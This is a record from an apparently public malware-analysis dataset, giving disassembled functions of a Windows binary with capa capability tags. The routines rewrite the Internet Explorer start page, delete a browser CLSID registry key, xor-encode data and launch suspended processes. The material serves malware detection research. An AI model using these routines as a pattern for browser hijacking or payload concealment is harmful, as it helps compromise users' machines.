joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403e9f
Capabilities:
Delete registry key
Delete registry value
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x338
call fcn.00403d3d
test eax, eax
je 0x4040a2
mov dl, byte [0x40b284]
push ebx
push esi
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x233]
mov byte [ebp - 0x234], dl
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x12f]
mov byte [ebp - 0x130], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ebx, 0x104
lea eax, [ebp - 0x234]
push ebx
push eax
mov dword [ebp - 0x2c], str.realplayer.exe
mov dword [ebp - 0x28], str.RavMon.dll
mov dword [ebp - 0x24], str.nbbho.dll
mov dword [ebp - 0x20], str.brlmon.dll
mov dword [ebp - 0x1c], str.gnimatmd.bat
mov dword [ebp - 0x18], str.IeFilter.dll
mov dword [ebp - 0x14], str.Maxthonz.dll
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x234]
mov edi, 0x103
push eax
push str._s_realplayer.exe
lea eax, [ebp - 0x130]
push edi
push eax
call fcn.00403531
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
add esp, 0x10
push 0
call esi
push eax
lea eax, [ebp - 0x130]
push eax
call fcn.00402d5f
add esp, 0xc
push 0
call esi
push eax
push str.TencentQQMessenger.exe
call fcn.00402d5f
add esp, 0xc
lea esi, [ebp - 0x2c]
mov dword [ebp - 4], 7
push dword [esi]
lea eax, [ebp - 0x234]
push eax
push str._s_s
lea eax, [ebp - 0x130]
push edi
push eax
call fcn.00403531
lea eax, [ebp - 0x130]
push eax
call fcn.0040246e
add esp, 0x18
add esi, 4
dec dword [ebp - 4]
jne 0x403f85
push str.realplayer.exe
call fcn.0040313e
mov esi, str.Messenger.exe
push esi
call fcn.0040313e
lea eax, [ebp - 0x234]
push ebx
push eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], str.Messenger.dll
mov dword [ebp - 8], str.RTraveler.dll
call fcn.004023bd
add esp, 0x10
lea esi, [ebp - 0x10]
push 3
pop ebx
push dword [esi]
lea eax, [ebp - 0x234]
push eax
push str._sTencentQQ_s
lea eax, [ebp - 0x130]
push edi
push eax
call fcn.00403531
lea eax, [ebp - 0x130]
push eax
call fcn.0040246e
add esp, 0x18
add esi, 4
dec ebx
jne 0x403ff3
mov esi, dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov ebx, 0x80000002
push str.SoftwareMicrosoft_NT
push ebx
call esi
push str.Clsid295CD217_AD34_4B66_91BA_48D5EFD9CA20
push 0x80000000
call esi
mov esi, str.about:blank
lea edi, [ebp - 0x338]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 0x3e
xor eax, eax
pop ecx
lea edi, [ebp - 0x32c]
rep stosd dword es:[edi], eax
mov edi, str.Start_Page
mov esi, str.softwaremicrosoftinternet_explorermain
push edi
push esi
push 0x80000001
call dword [sym.imp.SHLWAPI.dll_SHDeleteValueA]
nop
lea eax, [ebp - 0x338]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x338]
push eax
push 1
push edi
push esi
push ebx
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
pop edi
pop esi
mov dword [0x40b174], 1
pop ebx
leave
ret
Function at 0x4042e4
Capabilities:
Check if file exists
Delete directory
Delete file
Get common file path
Set file attributes

Disassembly:
mov eax, 0x406060
call fcn.00404fe0
sub esp, 0x104
push esi
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x404375
push esi
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
je 0x404375
lea eax, [ebp - 0x110]
push eax
push 0
push 0x40a99c
push esi
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x404368
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x404368
lea ecx, [ebp + 8]
call fcn.00404bd7
and dword [ebp - 4], 0
push 0x1f01ff
push 0
push esi
lea ecx, [ebp + 8]
call fcn.00404d61
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00404bfc
jmp 0x404375
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x4047ca
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push ebx
xor ebx, ebx
cmp dword [ebp + 8], ebx
push esi
push edi
jne 0x4047e1
xor edi, edi
jmp 0x40480e
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
inc esi
lea eax, [esi + esi]
add eax, 3
and al, 0xfc
call fcn.00405190
mov edi, esp
push esi
push edi
push 0xffffffffffffffff
push dword [ebp + 8]
mov word [edi], bx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp eax, ebx
je 0x4048ae
cmp dword [ebp - 4], 2
jl 0x4048ae
mov esi, dword [eax + 4]
push 0x2c
push esi
call dword [sym.imp.SHLWAPI.dll_StrChrW]
cmp eax, ebx
je 0x40483e
mov word [eax], bx
lea eax, [ebp - 0x20c]
push eax
push str..dll
push esi
call fcn.004048bb
add esp, 0xc
test eax, eax
je 0x4048ae
lea eax, [ebp - 0x20c]
test eax, eax
jne 0x404865
xor esi, esi
jmp 0x40489b
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edi, [eax + eax + 2]
mov eax, edi
add eax, 3
and al, 0xfc
call fcn.00405190
mov esi, esp
push ebx
push ebx
push edi
push esi
lea eax, [ebp - 0x20c]
push 0xffffffffffffffff
push eax
push ebx
push ebx
mov byte [esi], bl
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push esi
push 0x104
push dword [ebp + 0xc]
call fcn.00403558
push 1
pop eax
jmp 0x4048b0
xor eax, eax
lea esp, [ebp - 0x218]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x404905
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
lea eax, [ebp - 0x104]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x104]
push str.Rundll32.exe
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40494b
push 1
pop eax
leave
ret
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call fcn.004032b7
add esp, 0x10
leave
ret
Function at 0x4049af
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
lea eax, [ebp - 0x94]
mov dword [ebp - 0x94], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 5
jne 0x4049e3
push 1
pop eax
cmp dword [ebp - 0x8c], eax
jae 0x4049e5
xor eax, eax
leave
ret

Function at 0x404c5e
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
push ebx
push edi
xor edi, edi
mov dword [ebp - 0xc], ecx
cmp dword [ebp + 8], edi
je 0x404c96
mov ebx, dword [ebp + 0x14]
cmp ebx, edi
jne 0x404ca3
lea eax, [ebp + 0x14]
mov dword [ebp + 0x14], 0x104
push eax
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
jne 0x404c9d
xor eax, eax
jmp 0x404d5b
lea ebx, [ebp - 0x130]
lea eax, [ebp - 8]
push esi
push eax
lea eax, [ebp - 4]
push edi
push eax
push edi
push edi
push 4
xor esi, esi
push dword [ebp + 0xc]
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_GetNamedSecurityInfoA]
test eax, eax
jne 0x404d58
cmp dword [ebp + 0x10], 2
je 0x404cd9
cmp dword [ebp + 0x10], 1
jne 0x404ce7
mov ecx, dword [ebp - 0xc]
push ebx
push 3
push dword [ebp - 4]
call fcn.00404c03
push 0x20
lea eax, [ebp - 0x2c]
push edi
push eax
mov dword [ebp + 0x14], edi
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x2c]
push 3
push dword [ebp + 0x10]
push dword [ebp + 0x18]
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_BuildExplicitAccessWithNameA]
lea eax, [ebp + 0x14]
push eax
lea eax, [ebp - 0x2c]
push dword [ebp - 4]
push eax
push 1
call dword [sym.imp.ADVAPI32.dll_SetEntriesInAclA]
mov ebx, dword [sym.imp.KERNEL32.dll_LocalFree]
test eax, eax
jne 0x404d4e
push edi
push dword [ebp + 0x14]
push edi
push edi
push 4
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_SetNamedSecurityInfoA]
mov esi, eax
neg esi
sbb esi, esi
inc esi
cmp dword [ebp + 0x14], edi
je 0x404d4e
push dword [ebp + 0x14]
call ebx
cmp dword [ebp - 8], edi
je 0x404d58
push dword [ebp - 8]
call ebx
mov eax, esi
pop esi
pop edi
pop ebx
leave
ret 0x14

Function at 0x4051f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
mov dword [eax + 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 0xc]
mov dword [edx + 8], eax
mov ecx, dword [ebp - 4]
mov dword [ecx + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, dword [ebp - 4]
mov dword [edx], eax
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
je 0x405261
mov ecx, dword [ebp - 4]
cmp dword [ecx + 8], 0
je 0x405261
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
test eax, eax
jne 0x40524a
jmp 0x405261
mov eax, dword [ebp - 4]
add eax, 0xc
push eax
push 0x40
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 8
Function at 0x407b50
Capabilities:
Get graphical window text

Disassembly:
push esi
push edi
cmp word [ecx], 3
mov edi, edx
mov esi, ecx
jne 0x407b70
mov eax, dword [esp + 0xc]
mov ecx, dword [esi + 0x14]
push eax
push edi
push ecx
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov eax, edi
jmp 0x407b7e
mov eax, dword [esp + 0x10]
mov edx, edi
push eax
mov ecx, esi
call fcn.00407930
test eax, eax
jne 0x407b85
lea eax, [esi + 0x1c]
pop edi
pop esi
ret 8
Function at 0x408260
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x35c
push ebx
push esi
push edi
mov ebx, ecx
push ebp
mov ebp, edx
call fcn.004081e0
test eax, eax
je 0x408284
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x35c
ret
lea eax, [esp + 0x20]
mov edi, ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
shr ecx, 2
mov esi, edi
lea edi, [esp + 0x268]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ax, word [0x40f0c0]
mov edi, ebx
mov word [esp + 0x64], ax
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov ecx, 0xffffffff
lea edi, [esp + 0x64]
sub eax, eax
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x40f0c0
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov ecx, 0xffffffff
lea edi, [esp + 0x64]
sub eax, eax
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
test ebp, ebp
je 0x4083c6
cmp byte [ebp], 0
je 0x4083c6
mov edi, 0x40f0bc
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov ecx, 0xffffffff
lea edi, [esp + 0x64]
sub eax, eax
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebp
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov ecx, 0xffffffff
lea edi, [esp + 0x64]
sub eax, eax
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x40f0c0
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov ecx, 0xffffffff
lea edi, [esp + 0x64]
sub eax, eax
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x20]
push eax
push ecx
lea edx, [esp + 0x6c]
push 0
lea eax, [esp + 0x274]
push 0
push 0
push 0
push 0
push 0
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x35c
ret
Function at 0x409d10
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x409d6b
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
mov edx, dword [esp + 4]
push eax
mov dword [esp + 0xc], 0x104
push ecx
push 0
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
lea ecx, [esp + 0xc]
mov edx, dword [esp + 0x114]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 4

Function at 0x409d80
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x208
push ebx
push esi
push edi
mov ebx, edx
push ebp
mov edi, ecx
xor esi, esi
push ebx
mov eax, dword [esp + 0x220]
push esi
push eax
mov ebp, dword [sym.imp.SHELL32.dll_ShellExecuteA]
push edi
push 0x40f154
push esi
call ebp
cmp eax, 0x20
jg 0x409e73
mov ecx, edi
call fcn.004081e0
test eax, eax
jne 0x409dc4
xor eax, eax
jmp 0x409e7a
lea eax, [esp + 0x10]
mov edx, 0x40f14c
push eax
mov ecx, 0x80000000
call fcn.00409d10
test eax, eax
jne 0x409e78
lea eax, [esp + 0x10]
push 0x40f138
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x10]
lea edx, [esp + 0x10]
push eax
mov ecx, 0x80000000
call fcn.00409d10
test eax, eax
jne 0x409e78
lea eax, [esp + 0x10]
push 0x40f130
push eax
call fcn.0040ee20
add esp, 8
mov ebp, eax
test ebp, ebp
jne 0x409e4a
lea eax, [esp + 0x10]
push 0x40f12c
push eax
call fcn.0040ee20
add esp, 8
mov ebp, eax
test ebp, ebp
jne 0x409e4a
lea eax, [esp + 0x10]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
call ebp
lea ebp, [esp + eax + 0xf]
jmp 0x409e4e
mov byte [ebp], 0
push 0x40f044
push ebp
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x10]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp eax, 0x1f
jbe 0x409e78
mov esi, 1
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x208
ret 4
Function at 0x40a350
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov esi, edx
mov edi, dword [esp + 0xc]
mov edx, dword [ecx + 2]
xor edx, dword [ecx + 6]
xor edx, dword [ecx + 0xa]
add edi, edx
xor edx, edx
mov eax, dword [ecx + 6]
inc edx
xor dword [edi + edx*4 - 4], eax
inc edx
mov eax, dword [ecx + 0xa]
xor dword [edi + edx*4 - 4], eax
cmp edx, 0x14
jl 0x40a365
mov ecx, dword [esi]
call fcn.0040d5e0
mov dword [esi], 0
cmp word [0x40f1b8], 0
je 0x40a39d
cmp word [0x40f1c0], 0
je 0x40a39d
call edi
push 0
push 0x40f238
push 0x40f228
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
ret 4

Function at 0x40a420
Capabilities:
Get common file path
Get disk information

Disassembly:
sub esp, 0x318
lea eax, [esp + 0x110]
push ebx
push esi
xor ebx, ebx
push edi
mov byte [0x412948], bl
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
jne 0x40a457
mov byte [esp + 0x11c], 0x63
mov byte [esp + 0x11d], bl
xor edx, edx
lea edi, [esp + 0x11c]
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
test ecx, ecx
jle 0x40a4a0
mov ebx, 0x5c
cmp byte [esp + edx + 0x11c], bl
je 0x40a498
inc edx
lea edi, [esp + 0x11c]
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, edx
jg 0x40a475
jmp 0x40a4a0
mov byte [esp + edx + 0x11d], 0
lea eax, [esp + 0x18]
push 0x104
lea ecx, [esp + 0x18]
push eax
lea edx, [esp + 0x18]
push ecx
lea eax, [esp + 0x18]
push edx
lea ecx, [esp + 0x230]
push eax
lea edx, [esp + 0x130]
push 0x104
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x40a4ee
lea eax, [esp + 0x18]
push 0xa
mov ecx, dword [esp + 0x10]
push eax
push ecx
call fcn.0040ec50
add esp, 0xc
jmp 0x40a4fd
mov edx, 0x40f284
mov ecx, 0x40f26c
call fcn.0040d5f0
xor eax, eax
mov edx, 0x38
mov cl, byte [esp + eax + 0x18]
cmp cl, 0x30
jl 0x40a51a
cmp cl, 0x39
jg 0x40a51a
mov byte [eax + 0x412940], cl
jmp 0x40a520
mov byte [eax + 0x412940], dl
inc eax
cmp eax, 8
jl 0x40a504
mov edi, 0x412940
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
shr ecx, 2
mov esi, edi
lea edi, [esp + 0x18]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov cl, byte [esp + 0x1a]
mov al, byte [esp + 0x1f]
mov dl, byte [esp + 0x18]
mov byte [0x412940], cl
mov cl, byte [esp + 0x1b]
mov byte [0x412943], al
mov al, byte [esp + 0x1d]
mov byte [0x412942], dl
mov byte [0x412944], cl
mov byte [0x412941], al
mov byte [0x412945], 0
cmp byte [esp + 0x1a], 0x30
jne 0x40a595
mov al, byte [esp + 0x1a]
inc al
mov byte [0x412940], al
mov edx, 0x40f264
mov ecx, 0x412940
call fcn.0040da60
pop edi
mov dword [0x4129d4], eax
pop esi
pop ebx
add esp, 0x318
ret
Function at 0x40c240
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
lea eax, [esp + 8]
push ebx
push esi
push edi
push ebp
push eax
push 0x40f198
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x40c26c
mov ax, 2
pop ebp
pop edi
pop esi
pop ebx
add esp, 0xc
ret
push 0xbb80
push 0x42
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ebp, eax
test ebp, ebp
jne 0x40c292
mov ax, 3
pop ebp
pop edi
pop esi
pop ebx
add esp, 0xc
ret
mov dword [esp + 0x10], 0xbb80
lea eax, [esp + 0x10]
push eax
push ebp
push 0x40f198
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
je 0x40c2e7
push ebp
mov esi, dword [sym.imp.KERNEL32.dll_GlobalHandle]
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebp
call esi
push eax
mov ebp, dword [sym.imp.KERNEL32.dll_GlobalFree]
call ebp
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ax, 3
pop ebp
pop edi
pop esi
pop ebx
add esp, 0xc
ret
lea eax, [esp + 0x10]
lea ecx, [esp + 0x14]
dec dword [esp + 0x10]
push eax
mov edx, dword [esp + 0x14]
push ecx
mov ecx, ebp
xor ebx, ebx
call fcn.0040d770
mov ecx, dword [esp + 0x14]
mov edx, dword [ecx]
lea eax, [ecx + 8]
mov dword [esp + 0x10], edx
cmp edx, ebx
jle 0x40c32e
mov ecx, 0xc
mov esi, eax
mov edi, dword [0x412b78]
repe cmpsb byte [esi], byte es:[edi]
je 0x40c32e
add eax, 0xc
inc ebx
cmp ebx, dword [esp + 0x10]
jl 0x40c313
push ebp
mov esi, dword [sym.imp.KERNEL32.dll_GlobalHandle]
call esi
push eax
mov edi, dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call edi
push ebp
call esi
push eax
mov ebp, dword [sym.imp.KERNEL32.dll_GlobalFree]
call ebp
mov eax, dword [esp + 0x14]
push eax
call esi
push eax
call edi
mov eax, dword [esp + 0x14]
push eax
call esi
push eax
call ebp
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp ebx, dword [esp + 0x10]
je 0x40c384
or byte [0x41294a], 0x20
mov ax, 1
pop ebp
pop edi
pop esi
pop ebx
add esp, 0xc
ret
xor ax, ax
pop ebp
pop edi
pop esi
pop ebx
add esp, 0xc
ret
Function at 0x40cbb0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov eax, 4
push esi
push edi
mov edi, dword [ecx + 0xc]
mov esi, edx
sub edi, 0x5c5c5c5d
mov ebx, dword [ecx]
add ecx, 4
xor ebx, edi
add esi, 4
dec eax
mov dword [esi - 4], ebx
jne 0x40cbc3
mov dword [edx + 0x10], 0
pop edi
pop esi
pop ebx
ret

Function at 0x40d0f0
Capabilities:
Create process on windows
Create process suspended

Disassembly:
sub esp, 0x35c
lea eax, [esp + 0x258]
push esi
push edi
push 0x104
mov edi, ecx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40d125
xor eax, eax
pop edi
pop esi
add esp, 0x35c
ret
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
shr ecx, 2
mov esi, edi
lea edi, [esp + 0x5c]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x40f398
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov ecx, 0xffffffff
lea edi, [esp + 0x5c]
sub eax, eax
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x412a50
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov ecx, 0xffffffff
lea edi, [esp + 0x5c]
sub eax, eax
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
lea ecx, [esp + 8]
lea edx, [esp + 0x18]
push ecx
push edx
lea eax, [esp + 0x64]
push 0
lea ecx, [esp + 0x26c]
push 0
push 0
push 0
push 0
push 0
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40d212
mov eax, dword [esp + 8]
inc dword [0x4129c4]
mov dword [0x40f318], 1
mov dword [0x412934], eax
mov eax, dword [esp + 0xc]
pop edi
mov dword [0x41292c], eax
mov eax, 1
pop esi
add esp, 0x35c
ret
xor eax, eax
pop edi
pop esi
add esp, 0x35c
ret

Function at 0x40d3b0
Capabilities:
Read file on windows

Disassembly:
sub esp, 4
lea eax, [esp]
push esi
mov esi, ecx
push 0
push eax
mov ecx, dword [0x40f324]
push 4
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esi]
xor eax, 0x20200000
shr eax, 0x12
mov dword [esi], eax
pop esi
add esp, 4
ret

Function at 0x40d3e0
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
mov eax, ecx
shl eax, 0x12
push 0
xor eax, 0x20202020
mov dword [esp + 4], ecx
lea ecx, [esp + 8]
mov edx, dword [0x40f324]
mov dword [esp + 4], eax
push ecx
lea eax, [esp + 8]
push 4
push eax
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
add esp, 8
ret
Function at 0x40d570
Capabilities:
Extract resource via kernel32 functions

Disassembly:
sub esp, 4
movzx eax, cx
push esi
push edi
mov esi, edx
push 0x40f3f4
push eax
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40d5b6
push eax
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [esi], eax
test eax, eax
je 0x40d5b6
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x40d5c9
jmp 0x40d5ba
mov esi, dword [esp + 8]
mov edx, 0x40f3ec
mov ecx, 0x40f3c0
call fcn.0040d5f0
mov eax, esi
pop edi
pop esi
add esp, 4
ret

Function at 0x40d5f0
Capabilities:
Terminate process

Disassembly:
sub esp, 0x10
mov eax, 0x40f3fc
push ebx
push esi
push edi
mov ebx, ecx
lea esi, [esp + 0xc]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edi, edx
mov dword [esi], ecx
mov ecx, 0xffffffff
mov dword [esi + 4], eax
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov ecx, 0xffffffff
lea edi, [esp + 0xc]
sub eax, eax
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x10
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [esp + 0x10]
push esi
push ebx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0xffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]